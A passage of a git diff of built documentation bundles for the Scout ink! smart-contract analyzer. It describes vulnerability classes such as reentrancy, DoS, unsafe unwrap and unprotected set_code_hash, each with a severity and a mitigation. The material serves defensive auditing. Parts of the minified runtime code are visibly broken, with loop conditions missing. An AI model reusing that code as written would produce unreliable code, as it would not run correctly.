reprecussions\nto the contract."),(0,i.kt)("p",null,"This kind of attack was used in Ethereum for\n",(0,i.kt)("a",{parentName:"p",href:"https://www.economist.com/finance-and-economics/2016/05/19/the-dao-of-accrue"},"the infamous DAO Hack"),"."),(0,i.kt)("p",null,"This vulnerability may be prevented with the use of the Check-Effect-Interaction\npattern that dictates that we first evaluate (check) if the necessary conditions\nare granted, next we record the effects of the interaction and finally we\nexecute the interaction (e.g., check if the user has funds, substract the funds\nfrom the records, then transfer the funds). There's also so-called\n",(0,i.kt)("em",{parentName:"p"},"reentrancy guards")," which prevent the marked piece of code to be called twice\nfrom the same contract call. When the vulnerability may be exercised, the\nsuccessive calls to the contract may allow the malicious contract to execute a\nfunction partially many times, e.g., transfering funds many times but\nsubstracting the funds only once."),(0,i.kt)("p",null,"We classified this type of vulnerability under\nthe ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Reentrancy")," category and assigned it a\nCritical severity."),(0,i.kt)("p",null,"In the context of ",(0,i.kt)("inlineCode",{parentName:"p"},"ink!")," Substrate smart contracts there are controls\npreventing reentrancy which could be turned off (validly) using the flag\n",(0,i.kt)("inlineCode",{parentName:"p"},"set_allow_reentry(true)"),"."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/reentrancy"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"4---panic-error"},"4 - Panic error"),(0,i.kt)("p",null,"The use of the ",(0,i.kt)("inlineCode",{parentName:"p"},"panic!")," macro to stop execution when a condition is not met is\nuseful for testing and prototyping but should be avoided in production code.\nUsing ",(0,i.kt)("inlineCode",{parentName:"p"},"Result")," as the return type for functions that can fail is the idiomatic\nway to handle errors in Rust."),(0,i.kt)("p",null,"We classified this issue, a deviation from best practices which could have\nsecurity implications, under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Validations and error handling")," category and assigned it an Enhancement severity."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/panic-error"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"5---unused-return-enum"},"5 - Unused return enum"),(0,i.kt)("p",null,(0,i.kt)("inlineCode",{parentName:"p"},"Ink!")," messages can return a ",(0,i.kt)("inlineCode",{parentName:"p"},"Result")," ",(0,i.kt)("inlineCode",{parentName:"p"},"enum")," with a custom error type. This is\nuseful for the caller to know what went wrong when the message fails. The\ndefinition of the ",(0,i.kt)("inlineCode",{parentName:"p"},"Result")," type enum consists of two variants: Ok and Err. If\nany of the variants is not used, the code could be simplified or it could imply\na bug."),(0,i.kt)("p",null,"We put this vulnerability under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Validations and error handling category"),"\nwith a Minor Severity."),(0,i.kt)("p",null,"In our example, we see how lack of revision on the usage of both types (",(0,i.kt)("inlineCode",{parentName:"p"},"Ok"),"\nand ",(0,i.kt)("inlineCode",{parentName:"p"},"Err"),") leads to code where its intended functionality is not realized."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/unused-return-enum"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"6---dos-unbounded-operation"},"6 - DoS unbounded operation"),(0,i.kt)("p",null,"Each block in a Substrate Blockchain has an upper bound on the amount of gas\nthat can be spent, and thus the amount of computation that can be done. This\nis the Block Gas Limit. If the gas spent by a function call on an ",(0,i.kt)("inlineCode",{parentName:"p"},"ink!")," smart\ncontract exceeds this limit, the transaction will fail. Sometimes it is the\ncase that the contract logic allows a malicious user to modify conditions\nso that other users are forced to exhaust gas on standard function calls."),(0,i.kt)("p",null,"In order to prevent a single transaction from consuming all the gas in a block,\nunbounded operations must be avoided. This includes loops that do not have a\nbounded number of iterations, and recursive calls."),(0,i.kt)("p",null,"We classified this type of vulnerability under\nthe ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Denial of Service")," category and assigned it a\nMedium severity."),(0,i.kt)("p",null,"A denial of service vulnerability allows the exploiter to hamper the\navailability of a service rendered by the smart contract. In the context\nof ",(0,i.kt)("inlineCode",{parentName:"p"},"ink!")," smart contracts, it can be caused by the exhaustion of gas,\nstorage space, or other failures in the contract's logic."),(0,i.kt)("p",null,"Needless to say, there are many different ways to cause a DoS vulnerability.\nThis case is relevant and introduced repeatedly by the developer untrained in\nweb3 environments."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/dos-unbounded-operation"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"7---dos-unexpected-revert-with-vector"},"7 - DoS unexpected revert with vector"),(0,i.kt)("p",null,"Another type of Denial of Service attack is called unexpected revert. It occurs\nby preventing transactions by other users from being successfully executed\nforcing the blockchain state to revert to its original state."),(0,i.kt)("p",null,"This vulnerability again falls under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Denial of Service")," category\nand has a Medium severity."),(0,i.kt)("p",null,"In this particular example, a Denial of Service through unexpected revert is\naccomplished by exploiting a smart contract that does not manage storage size\nerrors correctly. It can be prevented by using Mapping instead of Vec to avoid\nstorage limit problems."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/dos-unexpected-revert-with-vector"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"8---unsafe-expect"},"8 - Unsafe expect"),(0,i.kt)("p",null,"In Rust, the ",(0,i.kt)("inlineCode",{parentName:"p"},"expect")," method is commonly used for error handling. It retrieves the value from a ",(0,i.kt)("inlineCode",{parentName:"p"},"Result")," or ",(0,i.kt)("inlineCode",{parentName:"p"},"Option")," and panics with a specified error message if an error occurs. However, using ",(0,i.kt)("inlineCode",{parentName:"p"},"expect")," can lead to unexpected program crashes."),(0,i.kt)("p",null,"This vulnerability falls under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Validations and error handling")," category\nand has a Medium severity."),(0,i.kt)("p",null,"In our example, we see an exploit scenario involving a contract using the ",(0,i.kt)("inlineCode",{parentName:"p"},"expect")," method in a function that retrieves the balance of an account. If there is no entry for the account, the contract panics and halts execution, enabling malicious exploitation."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/unsafe-expect"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"9---unsafe-unrwap"},"9 - Unsafe unrwap"),(0,i.kt)("p",null,"This vulnerability class pertains to the inappropriate usage of the ",(0,i.kt)("inlineCode",{parentName:"p"},"unwrap")," method in Rust, which is commonly employed for error handling. The ",(0,i.kt)("inlineCode",{parentName:"p"},"unwrap")," method retrieves the inner value of an ",(0,i.kt)("inlineCode",{parentName:"p"},"Option")," or ",(0,i.kt)("inlineCode",{parentName:"p"},"Result"),", but if an error or ",(0,i.kt)("inlineCode",{parentName:"p"},"None")," occurs, it triggers a panic and crashes the program."),(0,i.kt)("p",null,"This vulnerability again falls under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Validations and error handling")," category and has a Medium severity."),(0,i.kt)("p",null,"In our example, we consider an contract that utilizes the ",(0,i.kt)("inlineCode",{parentName:"p"},"unwrap")," method to retrieve the balance of an account from a mapping. If there is no entry for the specified account, the contract will panic and abruptly halt execution, opening avenues for malicious exploitation."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/unsafe-unwrap"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"10---divide-before-multiply"},"10 - Divide before multiply"),(0,i.kt)("p",null,"This vulnerability class relates to the order of operations in Rust, specifically in integer arithmetic. Performing a division operation before a multiplication can lead to a loss of precision. This issue becomes significant in programs like smart contracts where numerical precision is crucial."),(0,i.kt)("p",null,"This vulnerability falls under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Arithmetic")," category\nand has a Medium Severity."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/divide-before-multiply"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"11---delegate-call"},"11 - Delegate call"),(0,i.kt)("p",null,"Delegate calls can introduce security vulnerabilities if not handled carefully. The main idea is that delegate calls to contracts passed as arguments can be used to change the expected behavior of the contract, leading to potential attacks. It is important to validate and restrict delegate calls to trusted contracts, implement proper access control mechanisms, and carefully review external contracts to prevent unauthorized modifications, unexpected behavior, and potential exploits. By following these best practices, developers can enhance the security of their smart contracts and mitigate the risks associated with delegate calls."),(0,i.kt)("p",null,"This vulnerability falls under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Authorization")," category\nand has a Critical severity."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/delegate-call"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"12---zero-or-test-address"},"12 - Zero or test address"),(0,i.kt)("p",null,"The assignment of the zero address to a variable in a smart contract represents a critical vulnerability because it can lead to loss of control over the contract. This stems from the fact that the zero address does not have an associated private key, which means it's impossible to claim ownership, rendering any contract assets or functions permanently inaccessible."),(0,i.kt)("p",null,"Assigning a test address can also have similar implications, including the loss of access or granting access to a malicious actor if its private keys are not handled with care."),(0,i.kt)("p",null,"This vulnerability falls under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Validations and error handling")," category\nand has a Medium severity."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/zero-or-test-address"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"13---insufficiently-random-values"},"13 - Insufficiently random values"),(0,i.kt)("p",null,"Using block attributes like ",(0,i.kt)("inlineCode",{parentName:"p"},"block_timestamp")," or ",(0,i.kt)("inlineCode",{parentName:"p"},"block_number")," for random number generation in ink! Substrate smart contracts is not recommended due to the predictability of these values. Block attributes are publicly visible and deterministic, making it easy for malicious actors to anticipate their values and manipulate outcomes to their advantage. Furthermore, validators could potentially influence these attributes, further exacerbating the risk of manipulation. For truly random number generation, it's important to use a source that is both unpredictable and external to the blockchain environment, reducing the potential for malicious exploitation."),(0,i.kt)("p",null,"This vulnerability again falls under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Block attributes")," category\nand has a Critical severity."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/insufficiently-random-values"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"14---unrestricted-transfer-from"},"14 - Unrestricted transfer from"),(0,i.kt)("p",null,"In an ink! Substrate smart contract, allowing unrestricted ",(0,i.kt)("inlineCode",{parentName:"p"},"transfer_from")," operations poses a significant vulnerability. When ",(0,i.kt)("inlineCode",{parentName:"p"},"from")," arguments for that function is provided directly by the user, this might enable the withdrawal of funds from any actor with token approval on the contract. This could result in unauthorized transfers and loss of funds. To mitigate this vulnerability, instead of allowing an arbitrary ",(0,i.kt)("inlineCode",{parentName:"p"},"from")," address, the ",(0,i.kt)("inlineCode",{parentName:"p"},"from")," address should be restricted, ideally to the address of the caller (",(0,i.kt)("inlineCode",{parentName:"p"},"self.env().caller()"),"), ensuring that the sender can initiate a transfer only with their own tokens."),(0,i.kt)("p",null,"This vulnerability falls under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Validations and error handling")," category\nand has a Critical severity."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/unrestricted-transfer-from"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"15---assert-violation"},"15 - Assert violation"),(0,i.kt)("p",null,"The ",(0,i.kt)("inlineCode",{parentName:"p"},"assert!")," macro is used in Rust to ensure that a certain condition holds true at a certain point in your code. If the condition does not hold, then the assert! macro will cause the program to panic. This is a problem, as seen in ",(0,i.kt)("a",{parentName:"p",href:"#4-panic-error"},"panic-error")),(0,i.kt)("p",null,"We classified this issue, a deviation from best practices which could have\nsecurity implications, under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Validations and error handling")," category and assigned it an Enhancement severity."),(0,i.kt)("h3",{id:"16---avoid-corememforget"},"16 - Avoid core::mem::forget"),(0,i.kt)("p",null,"The ",(0,i.kt)("inlineCode",{parentName:"p"},"core::mem::forget")," function is used to forget about a value without running its destructor. This could lead to memory leaks and logic errors."),(0,i.kt)("p",null,"We classified this issue, a deviation from best practices which could have\nsecurity implications, under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Best practices")," category and assigned it an Enhancement severity."),(0,i.kt)("h3",{id:"17---avoid-format-macro"},"17 - Avoid format! macro"),(0,i.kt)("p",null,"The ",(0,i.kt)("inlineCode",{parentName:"p"},"format!")," macro is used to create a String from a given set of arguments. This macro is not recommended, it is better to use a custom error type enum."),(0,i.kt)("p",null,"We classified this issue, a deviation from best practices which could have\nsecurity implications, under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Validations and error handling")," category and assigned it an Enhancement severity."),(0,i.kt)("h3",{id:"18---unprotected-self-destruct"},"18 - Unprotected self destruct"),(0,i.kt)("p",null,"If users are allowed to call ",(0,i.kt)("inlineCode",{parentName:"p"},"terminate_contract"),", they can intentionally or accidentally destroy the contract, leading to the loss of all associated data and functionalities given by this contract or by others that depend on it. To prevent this, the function should be restricted to administrators or authorized users only."),(0,i.kt)("p",null,"This vulnerability falls under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Authorization")," category\nand has a Critical severity."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/unprotected-self-destruct"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"19---iterators-over-indexing"},"19 - Iterators over indexing"),(0,i.kt)("p",null,"The use of iterators over indexing is a best practice that should be followed in Rust. This is because accessing a vector by index is slower than using an iterator. Also, if the index is out of bounds, it will panic."),(0,i.kt)("p",null,"We classified this issue, a deviation from best practices which could have\nsecurity implications, under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Best practices")," category and assigned it an Enhancement severity."),(0,i.kt)("h3",{id:"20---ink-version"},"20 - Ink version"),(0,i.kt)("p",null,"Using an old version of ink! can be dangerous, as it may have bugs or security issues. Use the latest version available."),(0,i.kt)("p",null,"We classified this issue, a deviation from best practices which could have\nsecurity implications, under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Best practices")," category and assigned it an Enhancement severity."),(0,i.kt)("h3",{id:"21---unprotected-set-code-hash"},"21 - Unprotected set code hash"),(0,i.kt)("p",null,"If users are allowed to call ",(0,i.kt)("inlineCode",{parentName:"p"},"set_code_hash"),", they can intentionally modify the contract behaviour, leading to the loss of all associated data/tokens and functionalities given by this contract or by others that depend on it. To prevent this, the function should be restricted to administrators or authorized users only."),(0,i.kt)("p",null,"This vulnerability falls under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Authorization")," category\nand has a Critical severity."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/unprotected-set-code-hash"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"22---unprotected-mapping-operation"},"22 - Unprotected mapping operation"),(0,i.kt)("p",null,"Modifying mappings with an arbitrary key given by the user could lead to unintented modifications of critical data, modifying data belonging to other users, causing denial of service, unathorized access, and other potential issues."),(0,i.kt)("p",null,"This vulnerability falls under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Validations and error handling")," category\nand has a Critical severity."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/unprotected-mapping-operation"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"23---lazy-storage-on-delegate"},"23 - Lazy storage on delegate"),(0,i.kt)("p",null,"A bug in ink! causes delegated calls to not modify the caller's storage unless Lazy with ManualKey or Mapping is used."),(0,i.kt)("p",null,"This vulnerability falls under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Known Bugs")," category\nand has a Critical severity."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/lazy-delegate"},"documentation")," for a more detailed explanation of this vulnerability class."))}h.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/124edd55.efc113c9.js b/assets/js/124edd55.efc113c9.js new file mode 100644 index 00000000..a7523632 --- /dev/null +++ b/assets/js/124edd55.efc113c9.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[4205],{9613:(e,t,a)=>{a.d(t,{Zo:()=>u,kt:()=>m});var n=a(9496);function i(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function r(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),a.push.apply(a,n)}return a}function o(e){for(var t=1;t=0||(i[a]=e[a]);return i}(e,t);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,a)&&(i[a]=e[a])}return i}var s=n.createContext({}),c=function(e){var t=n.useContext(s),a=t;return e&&(a="function"==typeof e?e(t):o(o({},t),e)),a},u=function(e){var t=c(e.components);return n.createElement(s.Provider,{value:t},e.children)},d="mdxType",p={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},h=n.forwardRef((function(e,t){var a=e.components,i=e.mdxType,r=e.originalType,s=e.parentName,u=l(e,["components","mdxType","originalType","parentName"]),d=c(a),h=i,m=d["".concat(s,".").concat(h)]||d[h]||p[h]||r;return a?n.createElement(m,o(o({ref:t},u),{},{components:a})):n.createElement(m,o({ref:t},u))}));function m(e,t){var a=arguments,i=t&&t.mdxType;if("string"==typeof e||i){var r=a.length,o=new Array(r);o[0]=h;var l={};for(var s in t)hasOwnProperty.call(t,s)&&(l[s]=t[s]);l.originalType=e,l[d]="string"==typeof e?e:i,o[1]=l;for(var c=2;c{a.r(t),a.d(t,{assets:()=>s,contentTitle:()=>o,default:()=>p,frontMatter:()=>r,metadata:()=>l,toc:()=>c});var n=a(2564),i=(a(9496),a(9613));const r={sidebar_position:2},o="Vulnerabilities",l={unversionedId:"vulnerabilities/README",id:"vulnerabilities/README",title:"Vulnerabilities",description:"This section lists relevant security-related issues typically introduced during the development of smart contracts in Substrate Ink!. While many of these issues can be generalized to Substrate-based networks, that is not always the case. The list, though non-exhaustive, features highly relevant items. Each issue is assigned a severity label based on the taxonomy presented below.",source:"@site/docs/vulnerabilities/README.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/",permalink:"/scout/docs/vulnerabilities/",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/README.md",tags:[],version:"current",sidebarPosition:2,frontMatter:{sidebar_position:2},sidebar:"docsSidebar",previous:{title:"Getting Started",permalink:"/scout/docs/intro"},next:{title:"Integer overflow or underflow",permalink:"/scout/docs/vulnerabilities/integer-overflow-or-underflow"}},s={},c=[{value:"Vulnerability Severity",id:"vulnerability-severity",level:2},{value:"Vulnerability Categories",id:"vulnerability-categories",level:2},{value:"Vulnerability Classes",id:"vulnerability-classes",level:2},{value:"1 - Integer overflow or underflow",id:"1---integer-overflow-or-underflow",level:3},{value:"2 - Set contract storage",id:"2---set-contract-storage",level:3},{value:"3 - Reentrancy",id:"3---reentrancy",level:3},{value:"4 - Panic error",id:"4---panic-error",level:3},{value:"5 - Unused return enum",id:"5---unused-return-enum",level:3},{value:"6 - DoS unbounded operation",id:"6---dos-unbounded-operation",level:3},{value:"7 - DoS unexpected revert with vector",id:"7---dos-unexpected-revert-with-vector",level:3},{value:"8 - Unsafe expect",id:"8---unsafe-expect",level:3},{value:"9 - Unsafe unrwap",id:"9---unsafe-unrwap",level:3},{value:"10 - Divide before multiply",id:"10---divide-before-multiply",level:3},{value:"11 - Delegate call",id:"11---delegate-call",level:3},{value:"12 - Zero or test address",id:"12---zero-or-test-address",level:3},{value:"13 - Insufficiently random values",id:"13---insufficiently-random-values",level:3},{value:"14 - Unrestricted transfer from",id:"14---unrestricted-transfer-from",level:3},{value:"15 - Assert violation",id:"15---assert-violation",level:3},{value:"16 - Avoid core::mem::forget",id:"16---avoid-corememforget",level:3},{value:"17 - Avoid format! macro",id:"17---avoid-format-macro",level:3},{value:"18 - Unprotected self destruct",id:"18---unprotected-self-destruct",level:3},{value:"19 - Iterators over indexing",id:"19---iterators-over-indexing",level:3},{value:"20 - Ink version",id:"20---ink-version",level:3},{value:"21 - Unprotected set code hash",id:"21---unprotected-set-code-hash",level:3},{value:"22 - Unprotected mapping operation",id:"22---unprotected-mapping-operation",level:3},{value:"23 - Lazy storage on delegate",id:"23---lazy-storage-on-delegate",level:3},{value:"24 - Incorrect exponentiation",id:"24---incorrect-exponentiation",level:3},{value:"25 - Buffering unsized types",id:"25---buffering-unsized-types",level:3},{value:"26 - Avoid unsafe block",id:"26---avoid-unsafe-block",level:3},{value:"27 - Warning sr25519_verify",id:"27---warning-sr25519_verify",level:3},{value:"28 - Lazy values not set",id:"28---lazy-values-not-set",level:3},{value:"29 - Avoid autokey upgradable",id:"29---avoid-autokey-upgradable",level:3},{value:"30 - Non payable transferred value",id:"30---non-payable-transferred-value",level:3},{value:"31 - Vector of tuples could be mapping",id:"31---vector-of-tuples-could-be-mapping",level:3},{value:"32 - Don't use invoke contract v1",id:"32---dont-use-invoke-contract-v1",level:3}],u={toc:c},d="wrapper";function p(e){let{components:t,...a}=e;return(0,i.kt)(d,(0,n.Z)({},u,a,{components:t,mdxType:"MDXLayout"}),(0,i.kt)("h1",{id:"vulnerabilities"},"Vulnerabilities"),(0,i.kt)("p",null,"This section lists relevant security-related issues typically introduced during the development of smart contracts in Substrate Ink!. While many of these issues can be generalized to Substrate-based networks, that is not always the case. The list, though non-exhaustive, features highly relevant items. Each issue is assigned a severity label based on the taxonomy presented below."),(0,i.kt)("h2",{id:"vulnerability-severity"},"Vulnerability Severity"),(0,i.kt)("p",null,"This severity classification, although arbitrary, has been used in hundreds\nof security audits and helps to understand the vulnerabilities we introduce\nand measure the utility of this proof of concept."),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("strong",{parentName:"li"},"Critical"),": These issues seriously compromise the system and must be addressed immediately."),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("strong",{parentName:"li"},"Medium"),": These are potentially exploitable issues which might represent\na security risk in the near future. We suggest fixing them as soon as possible."),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("strong",{parentName:"li"},"Minor"),": These issues represent problems that are relatively small or difficult to exploit, but might be exploited in combination with other issues. These kinds of issues do not block deployments in production environments. They should be taken into account and fixed when possible."),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("strong",{parentName:"li"},"Enhancement"),": This class relates to issues stemming from deviations from best practices or stylistic conventions, which could escalate into higher-priority issues due to other changes. For instance, these issues may lead to development errors in future updates.")),(0,i.kt)("h2",{id:"vulnerability-categories"},"Vulnerability Categories"),(0,i.kt)("p",null,'We follow with a taxonomy of Vulnerabilities. Many "top vulnerability" lists\ncan be found covering Ethereum/Solidity smart contracts. This list below is\nused by the Coinfabrik Audit Team, when source code (security) audits in\nEthereum/Solidity, Stacks/Clarity, Algorand/PyTEAL /TEAL, Solana/RUST, etc.\nThe team discusses the creation of the list in this\n',(0,i.kt)("a",{parentName:"p",href:"https://blog.coinfabrik.com/analysis-categories/"},"blogpost"),"."),(0,i.kt)("table",null,(0,i.kt)("thead",{parentName:"table"},(0,i.kt)("tr",{parentName:"thead"},(0,i.kt)("th",{parentName:"tr",align:null},"Category"),(0,i.kt)("th",{parentName:"tr",align:null},"Description"))),(0,i.kt)("tbody",{parentName:"table"},(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Arithmetic"),(0,i.kt)("td",{parentName:"tr",align:null},"Proper usage of arithmetic and number representation.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Assembly Usage"),(0,i.kt)("td",{parentName:"tr",align:null},"Detailed analysis of implementations using assembly.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Authorization"),(0,i.kt)("td",{parentName:"tr",align:null},"Vulnerabilities related to insufficient access control or incorrect authorization implementation.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Best practices"),(0,i.kt)("td",{parentName:"tr",align:null},"Conventions and best practices for improved code quality and vulnerability prevention.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Block attributes"),(0,i.kt)("td",{parentName:"tr",align:null},"Appropriate usage of block attributes, especially when used as a source of randomness.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Centralization"),(0,i.kt)("td",{parentName:"tr",align:null},"Analysis of centralization and single points of failure.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Denial of Service"),(0,i.kt)("td",{parentName:"tr",align:null},"Denial of service. attacks.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Gas Usage"),(0,i.kt)("td",{parentName:"tr",align:null},"Performance issues, enhancements and vulnerabilities related to use of gas.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Known Bugs"),(0,i.kt)("td",{parentName:"tr",align:null},"Known issues that remain unresolved.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"MEV"),(0,i.kt)("td",{parentName:"tr",align:null},"Patterns that could lead to the exploitation of Maximal Extractable Value.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Privacy"),(0,i.kt)("td",{parentName:"tr",align:null},"Patterns revealing sensible user or state data.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Reentrancy"),(0,i.kt)("td",{parentName:"tr",align:null},"Consistency of contract state under recursive calls.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Unexpected transfers"),(0,i.kt)("td",{parentName:"tr",align:null},"Contract behavior under unexpected or forced transfers of tokens.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Upgradability"),(0,i.kt)("td",{parentName:"tr",align:null},"Proxy patterns and upgradable smart contracts.")),(0,i.kt)("tr",{parentName:"tbody"},(0,i.kt)("td",{parentName:"tr",align:null},"Validations and error handling"),(0,i.kt)("td",{parentName:"tr",align:null},"Handling of errors, exceptions and parameters.")))),(0,i.kt)("p",null,"We used the above Vulnerability Categories, along with common examples of vulnerabilities detected within each category in other blockchains, as a guideline for finding and developing vulnerable examples of Substrate Ink! smart contracts."),(0,i.kt)("h2",{id:"vulnerability-classes"},"Vulnerability Classes"),(0,i.kt)("p",null,"As a result of our research, we have so far identified thirteen types of vulnerabilities."),(0,i.kt)("p",null,"What follows is a description of each vulnerability in the context of ink! smart contracts. In each case, we have produced at least one ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases"},"test-case")," smart contract that exposes one of these vulnerabilities."),(0,i.kt)("p",null,"Check our\n",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases"},"test-cases"),"\nfor code examples of these vulnerabilities and their respective remediations."),(0,i.kt)("h3",{id:"1---integer-overflow-or-underflow"},"1 - Integer overflow or underflow"),(0,i.kt)("p",null,"This type of vulnerability occurs when an arithmetic operation attempts to\ncreate a numeric value that is outside the valid range in substrate, e.g,\na ",(0,i.kt)("inlineCode",{parentName:"p"},"u8")," unsigned integer can be at most ",(0,i.kt)("em",{parentName:"p"},"M:=2^8-1=255"),", hence the sum ",(0,i.kt)("inlineCode",{parentName:"p"},"M+1"),"\nproduces an overflow."),(0,i.kt)("p",null,"An overflow/underflow is typically caught and generates an error. When it\nis not caught, the operation will result in an inexact result which could\nlead to serious problems."),(0,i.kt)("p",null,"We classified this type of vulnerability under\nthe ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Arithmetic")," category and assigned it a\nCritical severity."),(0,i.kt)("p",null,"In the context of Substrate, we found that this vulnerability could only be\nrealized if overflow and underflow checks are disabled during compilation.\nNotwithstanding, there are contexts where developers do turn off checks for\nvalid reasons and hence the reason for including this vulnerability in the\nlist."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/integer-overflow-or-underflow"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"2---set-contract-storage"},"2 - Set contract storage"),(0,i.kt)("p",null,"Smart contracts can store important information in memory which changes through the contract's lifecycle. Changes happen via user interaction with the smart contract. An 